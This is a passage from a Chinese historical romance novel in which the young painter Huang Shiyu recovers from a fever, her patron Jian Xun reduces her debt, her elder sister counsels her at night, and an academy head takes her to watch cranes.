这厢花婶正好送赵先生走了进来,将人交给琥珀又匆忙忙离开,厨房一刻也离不得人。 赵先生年约五旬,道一句得罪了,便将琥珀的帕子搭在黄时雨皓腕,拧眉诊脉。 “黄姑娘年纪轻轻怎如此不爱惜身体,此番高热来势汹汹想来也是一番警示,万不能再如此作息。”赵先生很快发现了病因。 琥珀想了想还真是,就着赵先生的话娓娓道出二小姐没日没夜作画苦读,饮食不规律,再加上今日连续抄书两个时辰,想来铁打的人也扛不住了。 此外黄时雨的右腕似乎有暗伤,她询问赵先生有没有比热敷更有效的法子。 简珣坐在黄时雨身边,始终垂眸看着她。 她趴在桌上昏昏欲睡。 医者父母心。 千叮咛万嘱咐好生调养,否则极易留下病根。 赵先生操着一口巴蜀音训斥完黄时雨,才将写好的方子递给琥珀,“拿去抓药,每日煎服两次。” 琥珀千恩万谢,捧着方子匆匆而去。 福喜则奉上诊金,亲自送老先生回府。 黄时雨迷迷糊糊道:“柳儿,送送先生……” 柳儿道:“已经被福喜哥抢先一步。” 黄时雨就觉得身子腾空起飞,落在了温柔的臂弯里,依偎着宽阔的胸膛,原来是简允璋的怀抱。 成长犹如白驹过隙。 曾几何时比简允璋还高半个头的自己,如今仿佛变成了小小一团,团在他掌心里。 简珣紧了紧怀中的黄时雨,几多无奈,喃喃道:“我就知道,你不会让我省心……” 他抱着她迈向她的闺房。 第37章 燃星 素秋插不上手,但是可以提醒六神无主的柳儿,“好柳儿,快去给少爷引路。” 柳儿看起来呆呆的,反应竟也不慢,听了素秋姐姐的话,立刻迈着小短腿跑到简珣前面带路。 “少爷,请随我来。” 二楼颇有几间房,在柳儿的引领下,简珣抱着黄时雨迈进左边第二间。 素秋又对柳儿道,“二小姐出了不少汗,得擦干净方才有助退烧,柳儿再给我指个路,我去煮一锅热水。” 以热帕子擦身最宜散热,琥珀姐姐也这么教过柳儿,如今素秋姐姐稍一提点,她立刻就明白该怎么做。 柳儿拉着素秋的手直奔小厨房。 这下房间只剩简珣和黄时雨了。 简珣莫名的紧张。 他这个人愈紧张反而愈显得面无表情,冷冷淡淡的,唯有耳根是红的。 黄时雨病得七晕八素,也是无暇思前想后,只想平躺进被窝。 她无精打采道:“走错了,左边,碧纱橱左边那间是我寝卧。” 又觉得怪怪的,不禁挣了挣,略显慌乱,“还是放我下来自己走吧。” “大家都清楚你我的关系,你也知晓咱俩真正的关系,又何必多此一举苦了自己。”简珣撩眼看向怀中的黄时雨,“还是你喜欢那种方式,先自己走两步,再不支跌进我怀中,好让我抱着你上床?” 脑子原本清清白白的黄时雨都被他说污了,她有气无力道:“你在说什么疯话,谁要跟你这样。” 简珣嘴角勾了勾。 说话的功夫两人已经进了寝卧,黄时雨脑子烧成一团浆糊,视物都有些朦胧,却能感知简珣微微倾身,自己也随着他压过来慢慢滑坐床沿。 她松了口气。 不料意外还是发生了。 简珣这个人素来勤快,惯会送佛送上西,竟单膝跪地帮她褪下靸鞋(注,古代拖鞋)。 “你,你,谁让你帮忙了!”黄时雨惊慌失色。 简珣也愣住,万没想到梅娘竟未着袜。 怎会不穿绣袜? 琥珀匆忙忙哪还顾得上为黄时雨穿袜,拾掇一下能见人就行了,谁能算到简珣勤快如斯。 凝白如玉,柔嫩泛粉,可爱的脚趾……梅娘的纤足竟是这般精致小巧,勾动他深埋的最原始的遐思绮想,简珣心如擂鼓,目似燃星。 他怎能对一个生病的女孩产生如此下流的冲动。 简珣面色红一阵白一阵。 黄时雨没想到简珣反应比自己还大,只见他慌忙松开她的足,微喘后退数步。 这就有点伤人自尊了。 黄时雨嗫嚅道:“你……” 简珣撩起帘子离开了。 黄时雨踢掉另一只靸鞋,当头栽倒。 片刻之后,她又拖着病体缓坐而起,盘腿抱足闻了闻,还怪香的嘞,琥珀姐姐每晚都用浸了花瓣的热水服侍她泡脚,分明一点也不臭! 那简允璋一脸见了鬼的表情什么意思? 黄时雨忿然沉睡。 此时的黄晚晴已经重新洗脸更衣完毕,不停催促贴身梳妆丫鬟快些,再快些,但又不能梳的不好看。 梳妆丫鬟满头大汗,几乎用尽毕生本领,终于在最短的时间为黄晚晴梳好惊鸿仙子髻,并以珠玉宝钗,玛瑙掩鬓为其悉心点缀。 另一名丫鬟则打开了茉莉香粉,执香绵(注,粉扑)缓缓蘸取,又在手背轻扑使其分布均匀,最后才涂于黄晚晴的面颊脖颈,整个过程格外仔细,屏息凝神。 粉质清透细腻,馨香醉人,小儿拳大的一盒就要五钱银子,比之寻常香粉,贵了十几倍。 紧接着淡扫蛾眉,轻抿红唇,黄晚晴以最快的速度盛装一番。 她满意地打量镜中的自己,肌肤更显细滑,不比梅娘差了,而红唇娇艳,气色更胜一筹。 贵果然有贵的道理。 此装虽盛,仔细瞧着又有种漫不经心的清雅。 黄晚晴在装扮上确实有几分水平。 她面含春色,朝窗外看了看,又急匆匆打开房门直奔黄时雨房间。 扑了个空。 屋里除了病恹恹的梅娘,连个简珣的影子都没有。 耳报神丫鬟气喘吁吁来到门口,压着嗓子告诉黄晚晴,“姑爷回去了,方才我瞧见他在门口扳鞍上马。” 她还甜甜地喊了声“姑爷”,套近乎。 骏马上的少年郎却只淡淡扫来一个眼神,策马而去。 黄晚晴因紧张握成一团的双手缓缓垂下。 “三小姐,借个路。”素秋的声音打断了发怔的黄晚晴。 她回过神,连忙侧身让后两步。 素秋和柳儿抬着热水桶得以进屋。 两人累弯了腰,也不见黄晚晴吩咐丫鬟搭把手。 原来亲姐姐病急这段时间,“消失”的三小姐黄晚晴正在房中精心打扮,现今花枝招展跑了进来,功利之心未免昭然若揭。 素秋唇角微微勾起。 人,本就该有一颗向上的心,有野妄是好事,说明想上进,但能力和心性都远远配不上那份野妄,就是愚蠢。 黄晚晴站在门口,脸色有些不大自在,忽然对左右丫鬟道:“还不快去帮素秋姑娘抬水。” 丫鬟齐齐应是,这才噔噔噔下楼帮忙抬另一桶凉水。 姐夫虽提前离开,却把自己的贴身丫鬟留下了,黄晚晴对素秋扯起嘴角笑了笑。 素秋颔首道谢。 真漂亮呀,这么漂亮的丫鬟是姐夫的通房吗? 黄晚晴希望是的。 多些漂亮的女子压一压梅娘的姿色,不一定是坏事。 黄晚晴离开后,素秋让柳儿关紧门窗,方才开始用湿帕子擦拭黄时雨的腿和胳膊,又擦了擦脖颈和腋下。 黄时雨有知觉,也能听见动静,但是抬不起眼皮。 素秋动作利索又不失温柔,热乎乎的帕子所到之处留下丝丝凉意,使得架在火上炙烤的她得以喘息,舒服了很多。 大约过了两炷香时间,琥珀终于端来熬好的汤药,服侍黄时雨小口小口喝下去。 得益于素秋的擦身,平稳住黄时雨的高热,如今再喝一碗药,效果立竿见影,发了一身汗,午时不到苍白的唇色就渐渐恢复血气。 白露拎着炖好的燕窝粥出现,按少爷吩咐专门加了鲜牛乳,吃起来口感更好。 大病初愈,得靠养。 黄时雨的屋子才多大呀,本身就有两个丫鬟,如今又多了两个,幸而白露有自己的差事,只是来送吃食和膏药,一一交给素秋。 这才来到黄时雨床前探了探气色和温度,确认无虞方款款辞别。 简珣收到了白露带回的消息,黄二小姐已无大碍。 素秋在黄记铺子从初六待到了初七傍晚,权衡之后回到鹿锦书院。 她回来就代表黄时雨完全无碍了。 简珣松了口气。 真希望梅娘忘了自己对着她纤足的痴态。 他从未在梅娘跟前如此丢脸。 从前读到吟风弄月的轻浮诗词,简珣对其中若干描述十分不解,如今亲眼得见,方知字字珠玑。 无人知晓,他的心那样无耻,屡次三番想要对她做最无耻的事。 简珣不想在乡试前见到黄时雨了。 又觉得不现实。 那就尽量不去见她吧。 这样想着,初八一大清早,他还是坐在了那间狭小的厅堂,生龙活虎的梅娘一脸无邪,满目感激,为他煮茶。 “我又麻烦了你一次。”黄时雨汗颜道,“还有件事……琥珀姐姐忙中出错,忘了留下诊金,反倒让福喜垫付了,呃,那个是多少,我还你。” “忘了。”简珣道。 “……”黄时雨噎了噎。 “上次约定的三百两改成二百六十两吧。”简珣抬眸看向她,平静道,“二百六十两,正好是画署的优恤金,你若考上我们立即两清,剩下的也不要你还了,所以,不要再这么拼命攒钱。” 黄时雨连忙拒绝,“我不能再……” “不用自作多情,我只是为了我自己。”简珣漠然道,“我怕你银子没攒够先累死,那样,我就人财两空。再者,我们不是朋友么,你若考进画署,两千两银子便是我送给朋友的贺礼,苟富贵勿相忘,等你发达了记着我便好。” “我永远都不会忘了你的。”黄时雨感动到无以复加。 她说不出如何偿还两千两的豪言壮语,因为此时的她说什么都显得可笑。 但她永远都不会忘记简珣,更不会忘了这笔钱,总有一天会偿还的。 “你先别感动,我且问你,朋友之间总不能一直都是我吃亏对不对?”简珣问她。 黄时雨含泪点头。 “所以丑话先说在前头,你若考不上,我就不客气了。” 黄时雨面色一紧,由红转白又转了红,但还是遵守着承诺,用力地点了点头,“好。” 如果考不上,他就要她做他的女人。 是要圆房的那种,而不是只会哭哭啼啼对着他耍赖的青梅。 简珣吩咐琥珀将他此前所送的药膏拿来,当面捏住黄时雨右腕,示范了两处穴位,教琥珀道:“每晚热敷完以此按摩化开,每次一刻钟,月余即可痊愈。” 说罢又看向黄时雨,“你若还想继续走画道这条路,就乖乖听郎中的话,劳逸结合,珍惜这只爪子。” “知道了。”黄时雨小声咕哝。 他滚烫的手指紧紧捏着她纤细的手腕,一寸寸一点点移动,黄时雨想缩回去,却被他微冷目光所摄。 琥珀倒是在旁心无旁骛学习,遇到不懂的立刻提问。 简珣耐心回答。 二人一问一答,揉捏片刻,简珣将黄时雨的手腕还给琥珀,示意她实践。 黄时雨自知理亏,也不好扭扭捏捏的,全程硬着头皮配合。 但有一说一,简珣还挺适合伺候人的,指腹温暖而有力,按得她舒服极了,期间差点忘形眯起了眼睛。 琥珀比之明显差些火候,发力不均匀,指腹也不够暖,远不如简珣的手法舒服,但也算尽力了。 最后她的腕子又落在了简珣手里,他时而温柔时而用力地捏着。 厅堂对面的南墙开满一壁玉簪花,挤挤挨挨,浓香随风肆意飘散。 如此热烈,原来已是深秋。 琥珀眯眸瞧了瞧日影,又看向对桌而坐的二小姐和简少爷,明明同龄,一个尚带着孩子气,另一个却沉稳而内敛。 但不可否认,两个人看起来真美好呀。 一场突如其来的病势令简允璋再次大发慈悲,削减巨债。 黄时雨头顶的压力骤减,心间的压力却更大了。 但成为名家画师决心却空前强烈。 想出名很简单,得到清泉石上居阁主的青睐,毫不夸张,名扬天下。 但得到阁主的青睐,应是这世上极难的事。 打个不恰当的比方,堪比进士及第,三甲状元。 浅浅了解一下三甲状元的难度,黄时雨忽然头晕。 成为状元的第一步是考秀才,而一个州府每年的名额不超过二十人,可以想见难度有多高。 考上秀才就可以参加三年一次的乡试,每次参试者约八万人左右,中举者往往不足千人;紧接着会试,从全国近万举人中取一百人;最后殿试,再从这一百个精英中取第一名,这个精英中的精英便是状元。 此般难度便是画师获得阁主青睐的难度。 黄时雨务实地划掉进石上居这条路,把希望押在升官卖画上。 她谨记郎中和简允璋的警告再不敢不顾惜身体,唯恐右手真的废了。 也开始学着自己给自己按摩,尽心呵护。 初九重阳节,黄时雨无心登高,缩在碧纱橱读书。 素秋将简珣此前送的攒盒端出来,“初五福生送来的,前几日你身子尚未大好,我也不敢拿给你吃,竟忘了这里还有一封简少爷的信。” 黄时雨展信一目十行,果然没甚重要的事。 真有正事,简允璋定会亲自说与她听。 而书信,往往就是他故意在她跟前卖弄文笔的。 欲扬而抑,显弄新作的诗词。 不过他的字真好看呀,百看不厌,写的诗词意境深深,常使她宛如身临其境。 这样的简珣,真令人艳羡。 不愧是十二岁即中小三元的人。 黄时雨读着他写的词,尝了一口攒盒的点心,果味鲜浓,最大程度保留了原果的滋味又不失果脯优势,她从未吃过这么好吃的青梅。 九宫格放置了三种果脯三种坚果糖三种一口酥,全是哪怕久放也不会影响口感的。 简珣总是有各式各样的好吃的,黄时雨不敢想自己若是他得多开心,每天吃啊吃,在零嘴里打滚。 然而他对零嘴不感兴趣,常常莫名地便宜了她。 她便也便宜自己的丫鬟,每样抓出一些吩咐琥珀和柳儿下去分了。 本想顺手也抓点给晴娘,又想到晴娘那好坏无常的肠胃,黄时雨立刻打消了危险的想法。 傻子才敢送晴娘吃食。 柳儿得了零嘴满心欢喜,捻一颗松子糖含进口中,甜香盈满味蕾,直冲肺腑,味道竟比福泽送她的还要好吃。 那她也分福泽尝一尝吧。 这可是二小姐专门赏赐她的。 柳儿这样想着,就殷殷往福泽那里去。 两个小孩子的关系竟这般的好。 “柳儿。” 柳儿抬首,但见二小姐正趴在窗口,一张小脸儿清然如莲,对她笑吟吟道,“这份是福泽的。” 柳儿慌忙抬手接住二小姐扔下的荷包儿,塞得鼓鼓的。 “谢谢二小姐。”她笑着,阳光洒在脸上,感觉好幸福呀。 二小姐总能给她带来各种各样的小幸福。 十二这日天朗气清,黄时雨敞开大窗子,窗子边挂上鸟笼,画眉被福泽养得油光水滑,唧唧啾啾,唱个不停。 她调了栀子白和油绿二色,信笔勾勒,一朵欺霜赛雪鲜艳欲滴的栀子花跃然纸上,绿叶生机勃勃。 黄时雨的画并不十分强调神似,凡事过犹不及,过度追求神似势必失去水墨神韵,又恰恰因这份追求神韵的倔强,反倒令她神韵大成,而神似也紧追其后。 她又调了赭黄,聆听画眉的小曲儿,于是栀子花枝就立上了一只憨态可掬的小画眉。 黄时雨腹中已有了二两墨水,便也学着正经画师从旁提一行小字:小树深丛绚绿华,辟邪香冷玉无瑕。 画成,先不提柳儿有多赞喜,便是对画道不感兴趣的琥珀也亮了眼睛,“二小姐,您这画厉害了,我曾见过一位小有名气的画师即兴创作,画的也是栀子,真不如你的灵气逼人。” 能得见多识广的琥珀这么高评价,黄时雨颇有些意外。 这厢柳儿也极是肯定,“二小姐,柳儿也觉得这幅画儿比以往更有灵气,你画的画眉又憨又可人,谁说你不会画活物的!” 黄时雨被贴身丫鬟捧得飘飘然,就萌生一个大胆的念头。 请华山长鉴赏。 万一华山长觉得她是可塑之才,就极有可能在那位画署闻大人跟前提携。 当然,这多半是一个缓慢的过程,需要持之以恒。 却也是一个普通人几乎不可能触及的契机。 既然黄时雨有,哪怕微乎其微,也应牢牢抓住。 她默默盯着这幅《栀子》,算是踏入画道近半年来最得意之作。 因此先不急着送给简珣。 过一遍华山长的眼再送也不迟。 次日黄时雨用简珣送的青梅做了青梅糕,一份给华山长一份予思渊,充分参透了“借花献佛”四个字的精髓。 晨间黄时雨就满怀憧憬前往华山长的学馆。 获得关注第一步——得让华山长知悉她喜爱丹青并善于丹青。 许是利己的小心思太多,黄时雨竟有些紧张,又在心里安慰自己,虽是利己却不损人,闻韵致当年还在江南四处自荐过画作,那自己想方设法谋取闻大人一瞥回眸也是人之常情。 她不是铮铮风骨的清高文人。 只期待有人发现她有一缕炽热画魂,百折不挠的画骨。 她深爱丹青,也想以此谋生。 那厢华山长咬了一大口青梅糕,糕点是寻常糕点,果脯竟一点也不寻常,直言妙哉,一双小眼睛都比平时放大两倍,亮亮的。 黄时雨连忙道:“您老爱吃就好,下回我还给您做!” 华山长就眯起了眼睛笑,“再撒点果仁。” 黄时雨清脆道:“好嘞。” 瞅准他老人家用得差不多了,她才交叠着双手迈着小碎步上前,“您老人家见多识广,慧眼如炬,我斗胆请您品一副名不见经传的画儿,叩请指点迷津。” 说罢,她轻轻拆开系住画卷的丝带,缓缓展开了自己的栀子花,同时,一双雪亮的明眸悬悬而望。 华山长不以为意,咽下最后一块糕点,随口问:“你画的?” 黄时雨屏息回:“是的,先生。” 华山长垂眸抿了一口茶,又抬眸在尘与光中细细凝辨。 黄时雨紧张到只能听见自己的心跳。 华山长打量几瞬,又抿了一口茶,“有点意思。” 有点意思又是什么意思呢?黄时雨睁了睁眼眸。 “回去再画一副我瞅瞅,来点构图更完整的,比如去书院的仙鹤塘,有芦苇,有鹤。”华山长道。 黄时雨却由紧张转成了惊喜,“我,我真的可以去仙鹤塘?” 仙鹤塘在书院更深处,属于闲人免入之地。 也就是仅有师生才能踏足。 华山长竟允许她去那里! 黄时雨喜不自胜。 华山长微微含笑。 黄时雨知道这不仅是一个小小的特权,而是,她被接纳了。 走回去的那段路,分明与来时一样,黄时雨却宛若踩在云端,轻盈盈。 琥珀只送糕点不念书,比黄时雨回来的更早,此刻正歪在廊下有一搭没一搭绣着花,臊眉耷眼的。 黄时雨察觉她不对劲,歪头问道:“思渊公子没给你赏钱吗?” 那倒不是,思渊公子的赏钱一向大方,但思渊公子的脸色极其吓人。 琥珀觉得长此以往,自己的小命怕是要交代了。 “怎会如此严重……”黄时雨喃喃道,悬着的心又提起,“你是不是不小心说了什么得罪他?” 琥珀摇摇头,欲哭无泪,“见到他我一句多余的话也不敢乱说,只会施礼问安。你不知他表情有多恐怖,压着眉毛撩眼看我。” “恐怖?”黄时雨思索几番难解,就事论事道,“客观来讲,思渊公子是一个顶级美男子。” 琥珀哑然。 是美男子不错。 可平时那么开朗一美男子,突然沉下脸,就压的人喘不过气,恨不能给他的威仪下跪,哪里还有心情关注他有多俊美。 黄时雨同情地瞄了琥珀一眼,计上心头,“要不这样吧,往后你按照陪我前去请安的时辰,掐着他还没起身的点,大不了回来再补个回笼觉。” 这代表黄时雨也得起更早。 算是没有办法中的办法了。 第38章 观鹤 做点心前的准备工作都是前一晚备好,次日早起直接或蒸或烤,因而黄时雨只需提前两刻起身,并不打紧。 她攥着琥珀的手,“好啦,我还指望琥珀姐姐留着精气神给我多做几身漂亮的裙子呢,可不能被思渊公子吓坏了。” 琥珀噗嗤一声笑了,边做针线边道:“二小姐喜欢什么花,我给你在袖口和裙边绣。” 那可就多了。 黄时雨笑嘻嘻挨着琥珀肩膀,一说芙蓉又说玉簪,还要芍药和石榴。 这有何难,琥珀无不应下。 两个小女子热火朝天聊起来,渐渐把思渊公子的问题放在了一边。 主要是不放下也没辙,她们哪里懂少年郎的心思。 大约巳时,福泽带着黄二小姐的《山栀画眉》回到了简珣的舍馆,同行的还有那只依旧不识忧愁的画眉鸟,被养得愈发憨憨胖胖了。 在黄时雨看来,算是完成了约定的第五幅画儿,那么小福泽、画眉自当随画卷物归原主。 简珣垂眸仔细擦拭剑身,默然片刻,缓缓道:“放着吧。” 福泽便将画卷置于书案。 福生朝他使了一枚眼色,他立即顿悟,提着鸟笼欠身告退。 简珣收剑回鞘,神情落寂。 明年,考不上画署的话,梅娘就只能委身于他。 这正是他无比期盼的事儿。 可是为何一想到期盼成真,竟开心不起来。 是因为她说“愿意”二字时眼中的无奈与寂寥吗? 她偿还不起亲爹卖她的银子,这是她的无奈。 而寂寥,全因他并非是她心悦的郎君吧。 为生计奔波的黄时雨哪有空闲想郎君,想悦不悦的,唯一令她魂牵梦萦夜不能寐的只有银钱。 虽说简允璋放话只要考进画署就不让她还银子,但考试也要银子的,笔墨纸砚全都要银子! 幸而黄时雨除了一盒香膏,其余女儿家喜欢的胭脂水粉、青黛、唇脂、桂花油等等一概不用,每日素面朝天,倒也不是自恃貌美,而是坦然接受自己买不起这个事实,既不为此自怨也不为此自艾。 她的买不起并非真没有银子,毕竟黄家在泽禾也是富户,只是没有额外的银子罢了。 黄时雨把月钱和脂粉份例全存进了宝贝箱笼,一旦放进去轻易不肯再拿出。 能让她不带一丝心疼花钱的唯有大姐姐黄莺枝。 正当黄时雨和琥珀讨论丝线的配色,就听柳儿在院子喊道:“二小姐,大小姐来啦。” 黄时雨蓦地竖起小脑袋,“姐姐!” 宛若乳燕投林,她提裙小跑飞奔相迎。 黄莺枝有一双温柔会笑的眼睛,穿着简单朴素样式的衣裙,挽着妇人发髻,乍一看去,就是一个非常普通的泽禾小妇人。 但她是黄时雨唯一的亲情依赖。 黄时雨也是她的唯一。 听见动静,黄晚晴朝外张望,“嘁”了一声,对左右酸溜溜道:“瞧见了吧,同父同母的真姐妹,人家那才是亲缘,我是异母,少一半的血,看她那不冷不热的脸色便也要多一半的。” 左右丫鬟讪笑,放在从前她们听音儿立刻就能接一大串顺黄晚晴耳朵的话,如今委实不敢了。 二姑爷的家世摆在那里了。 午膳置办的颇为丰盛,黄时雨和姐姐手挽手进了菜坊买彼此爱吃的菜,若非姐姐拦住,训道吃不完浪费,黄时雨打算再买一条鱼,先前的清蒸,这条做成丸。 花家婆媳、琥珀、柳儿四个人一齐进了厨房张罗,黄晚晴越看越气,一股子邪火到处乱窜,她将到铺子那日怎不见她们如此盛情招待! 小姐脾气即刻就要炸,却又没炸成,因为她心里清楚,花家人不是黄家的奴仆,而自己还未能坐上简少爷家的马车。 黄晚晴忍气吞声,躺在屋子里不出来。 琥珀来请她去厅堂用饭,“大小姐和二小姐都在等你。” “人家亲姐妹亲亲热热一起吃饭,我去煞什么风景。”黄晚晴嘀咕一声,清了清嗓子大声道,“知道了,这就去。” 姐妹三人久别重逢,一顿饭吃得也还算和和美美。 晚上根本就不用收拾客房,黄时雨哪里离得开黄莺枝,姐妹二人好到睡一张床。 姐姐出嫁前,妹妹就是待在姐姐身边养大的。 长姐如母,黄莺枝在黄时雨这里如同生母的替代。 “黄太太是不是又寻你不痛快了?”黄时雨挨着姐姐小声的说话,“那姐姐就同我一起住在甜水铺子吧,咱们不回家。” 黄莺枝揉了揉她的小脑袋,“傻丫头,如今黄太太哪里敢给我脸色看,她还指望你把耀祖捞进简家的族学呢。” 明明不愿意做贵妾,却不知为何又愿意了。黄莺枝并没有追问原因,而是想,梅娘长大了,该有自己的想法。 况且,这条路本来也没错。 人,就该让自己活得好一点再谈理想与抱负。 黄时雨自嘲一笑,何谓族学,自然是人家为族人所办的学堂,便是家主开恩收几个外来子弟,也轮不到一个妾室头上啊。 知道的当她是贵妾,不知的还以为她要进宫做娘娘了。 黄太太正常的时候尚算精明,一旦动了贪念就愚不可及。 黄莺枝只希望妹妹将来过上锦衣玉食的好日子,再生个有资格继承家产的儿子,这就是她们所能拥有的最好的出路。 但再好的出路也得精心打理维护,梅娘最大的短板是没有生母教导,对夫妻之道一无所知。 身为姐姐,不得不负起这个责任,黄莺枝有些羞耻也有些悲伤。 但自己教总好过黄太太教。 黄太太只会为了自己利益教些小妇做派,争宠献媚。 这也是黄莺枝专门来甜水铺子的原因。 她可能得离开泽禾谋生了,在这之前,得先安顿好妹妹,教她些成为女人的常识。 “梅娘,简少爷碰没碰过你?”她轻声问。 到了这个地步,早晚都会要了她,只是为着未来少奶奶的面子暂未回府摆酒宣扬罢了。 “没有呀,他好端端碰我做什么?”黄时雨实话实说。 黄莺枝噎了一下,又笑了。 听这语气便知还没碰过。 “那你有什么打算吗?”黄莺枝只跟妹妹谈最现实的问题,没空畅聊女子们憧憬的风花雪月,“将来主母进门,你打算怎么做,先跟姐姐说说。” 这么遥远的事黄时雨从没想过。 她差点要告诉姐姐自己已经不是简允璋的贵妾,又忽然想起两千两白银,便咽下了。 姐姐自己安身立命的银子也不过二十两,何必说些让人无力的事徒增烦恼呢。 再说,考不上画署,那就还是简允璋的贵妾。 等于没变过。 黄时雨翻过身,平躺,枕着自己双臂,音色轻快道:“姐姐放心吧,未来主母出身名门,大家闺秀,且是简允璋的心上人,我相信他的眼光,能入他眼的绝非泛泛之辈,只要我不过去招他们眼烦,大家都会好好过日子的。” 男女之事在她眼里竟如此简单。 黄莺枝诧异道:“你见过未来主母?” 黄时雨点点头,“见过呀,长得就像仙女一样,可好看了!是了,她还是简允璋的表妹。” 仙女自然都是好相与的,岂会像黄太太那样尖酸刻薄坏女人。 黄莺枝神色古怪,怔怔望着黄时雨,又忽然释然了,低低地笑了两声。 她重新躺好,轻拍妹妹的胳膊,“挺好的,这样也挺好的。莫要忘了你的初心,更不要事事钻牛角尖,守好自己应得的钱财,其他的虚荣不要也罢。” “梅娘,便是亲生爹娘也不可能一碗水端平,更何况夫君。”黄莺枝不疾不徐道,“而你是贵妾,本就该低正妻半个头,所以不要攀比知道吗?” 人的烦恼往往是攀比出来的。 黄时雨不意自己竟被姐姐如此小瞧,“我才不是那种人,我只想画画儿,若是进不了画署,就在自己的房间画。姐姐有空一定要多来看看我呀。” 听说女孩子嫁人就不能随意出来玩,做什么都要请示婆母。 为妻尚且如此,那么做贵妾应该更少机会了吧。 简允璋那么有钱,又是发小情谊,少不得分她间大屋子,那她也能找一堆有趣的事情做,画画,养花,种菜。 梅娘的未来除了这些便是姐姐。 更复杂的事情她没想过,也懒得去想。 真是个画痴。黄莺枝幽幽望着昏暗的帐顶。 稍许的静默,她轻轻道:“记住了,你得跟简少爷说清楚,主母进门前请他自重,因为你身子虚,诞下孩儿前不宜喝避子汤,除非他允许你生庶长子,不过这不太可能。” 越说越远了。黄时雨无奈地抓了抓额头,但还是十分听话地答应姐姐。 琥珀姐姐已经告诫过她,喝多了避子汤身子会坏掉。 只有躺在一张床上才需要喝,那她到时候同简允璋打个商量,不在一张床上躺不就行了。 黄时雨打个哈欠,眼皮渐渐抬不起就睡了过去。 临睡前脑子里闪过仙鹤塘。 华山长允许她骑着小毛驴随他观赏仙鹤,因为他也有一头小毛驴。 月隐日升,又是一日好秋光。 来年就要乡试,日子过一天少一天,学子们天不亮就要去学馆苦读,华山长却骑在毛驴上优哉游哉,揣着两手。 旁边紧随的是同样骑着小毛驴的黄时雨,为了方便骑行,她还特意穿了百裥裙。 时下的百裥裙其实就是马面裙,但裙褶更为繁复细密,走起来路益发灵动飘逸,不受拘束,也极大地方便女子骑行。 华山长告诉黄时雨,“你算是赶了巧,碰上仙鹤迁徙越冬,再晚几日就瞧不见咯。” 黄时雨惊奇道:“它们,竟不是书院蓄养的吗?” 骑驴的华山长颇有几分仙风道骨,“此等灵性的仙鸟岂能以蓄养践踏之,它们本生就是来去自如的灵物,如今每年经过仙鹤塘已是莫大的恩赐。” 其实是养不起,华山长求过好几次,上面也不愿拨款,这玩意好看不实用,难养还费银子。 黄时雨钦佩道:“先生实乃世外高人也。” 华山长高冷地哼了哼。 “小丫头,你可知画道多艰并不亚于科举,念书尚可以靠借书抄书勉强维持,但画道,很难借,也没法儿借,终究得靠自己日复一日地练习、打磨。”老人家骑在驴背上晃悠悠怡然,眯起眼,“想精于此道光靠勤奋远远不行,得有天赋。” 也就是首先你得是个天才,其次才能靠勤奋刻苦拼杀前路。 既能迈进画署,那么都是天赋异禀有才之人,不存在真正的弱者。 所以黄时雨前几日才走火入魔,既想攒钱又想比旁人更勤奋,反倒伤了身险些留下遗症,现今想来仍是一阵后怕。 黄时雨唇角轻轻抿了抿,学着华山长的模样,也扬起小脸,傲然道:“所以我才敢去考画署,因为,我就是极有天赋的人。” 华山长闻言哈哈大笑。 确实有些天赋,画笔稚嫩画意却颇令人触动,一问竟是自行入道尚不足半年,那确实是个好苗子。 但华山长并未多说什么,只平静邀请黄时雨来仙鹤塘观鹤。 透过画卷看见画魂,她的视野太狭窄了。 理应去瞧瞧更宽广的风光。 九月十四乃画署报名截止之日,来年八月大考。 今年人数达到了一千二百余人,乃历年之最。 这是个好现象,说明百姓富足,投身画道的门户才越来越多。 严艺学(艺学乃画署官职)翻了翻下属递来的厚厚一摞册籍,已经按照州府顺序整理妥当。 他又仔细检查一遍,方才安心,整理冠服前去上官廨所回禀闻大人。 闻大人乃画署为数不多的女官,且官职极高,为大部分人男人的顶头上司。 不过大家也都很服气,因为闻大人当得起。 诗画双绝,出身名门,曾祖乃本朝公认的天下第一画师闻韵致。 闻家以画久负盛名,但闻家前身却是实实在在的书香门第,祖宗位列公侯宰相,无奈家国破灭,宰相抱太子以身殉国,此中气节引天下文人垂泪,读书人最推崇的就是气节。 闻家妇孺自缢,男子跳城墙,以谢天地君恩,这样的悲壮与傲骨连大康的开国君主都不得不为之震撼,不过君主的震撼只能藏在心底,却不能颂扬他。 因为君主需要万民归顺,这样气节的前朝硬汉自然是越少越好。 但君主放过了尚在襁褓的闻韵致,也为大康留下了一缕至真的画魂。 斗转星移百年过,闻家以画传世,重振门楣,闻道芝闻大人便是这一代画师中翘楚。 若把画考比作科举,她相当于十八岁中了状元。 画署众官吏不服也得服。 严艺学将厚厚一摞册籍端放闻大人的书案,又将另外薄薄的一叠放在了闻大人面前,“此十二位考生乃今年特例,已经核查妥当,可以省去面试。” 每朝每代各行各业都会有“特例”的存在,有人在的地方就会有“特例”,规矩森严的画署也不能例外。 今年的十二特例多半出身高贵,不是世家便是宗亲,有这样或那样的原因无法抵达画署面试,闻大人淡淡扫了眼,颔首,“知道,放着吧。” 坐在闻大人左手边的青年自始至终没有吭声,听闻“特例”倏然抬眸,投来眈眈目光,“今年,没有特例,告诉他们,面试即是大考的一部分,能来最好,否则,滚。” 严艺学冷汗涔涔,慌忙应道:“是,可是……” 那人抬起头,貌若观音,目似寒星,通身除了雪白的皮肤,丹霞般的唇,仅有黑色,乌黑的长发,星夜一般的锦衣。 严艺学便说不出可是后面的话了,躬身。 花开两朵各表一枝,鹿锦书院的黄时雨紧随华山长,越往北深入越发现书院之大。 华山长道:“不是鹿锦书院大,是玉山大,书院只是组成玉山的一部分,仙鹤塘也是这个道理。” 黄时雨点着脑袋,“那为何不许旁人进来游玩呢?” “凡事都要立起个体统,无规矩不成方圆,若人人都能来去自由,学院的学子何以专心读书,国之栋梁又从何而取。” 凡事都要讲规矩。黄时雨谨记。 华山长笑道:“待你再长大些就能领悟规矩的妙处,这世上最好相处的人既不是好人也不是坏人,而是懂规矩有原则之人。” 这话过于深奥,黄时雨虽不能理解但是照单记下,留着慢慢消化。 还未看见仙鹤,一片芦苇涛涛先是映入了眼帘,风吹飒飒,起伏不定。 黄时雨下驴搀扶华山长登上竹亭,极目远眺,胸臆登时激荡,原来,当最寻常的芦苇荡连结成海,也能如此震动人心。 鹤声清跃,由远及近,几只仙鹤飞至,着陆翩翩起舞。 这不是年画上的,而是真实存在的,黄时雨目瞪口呆。 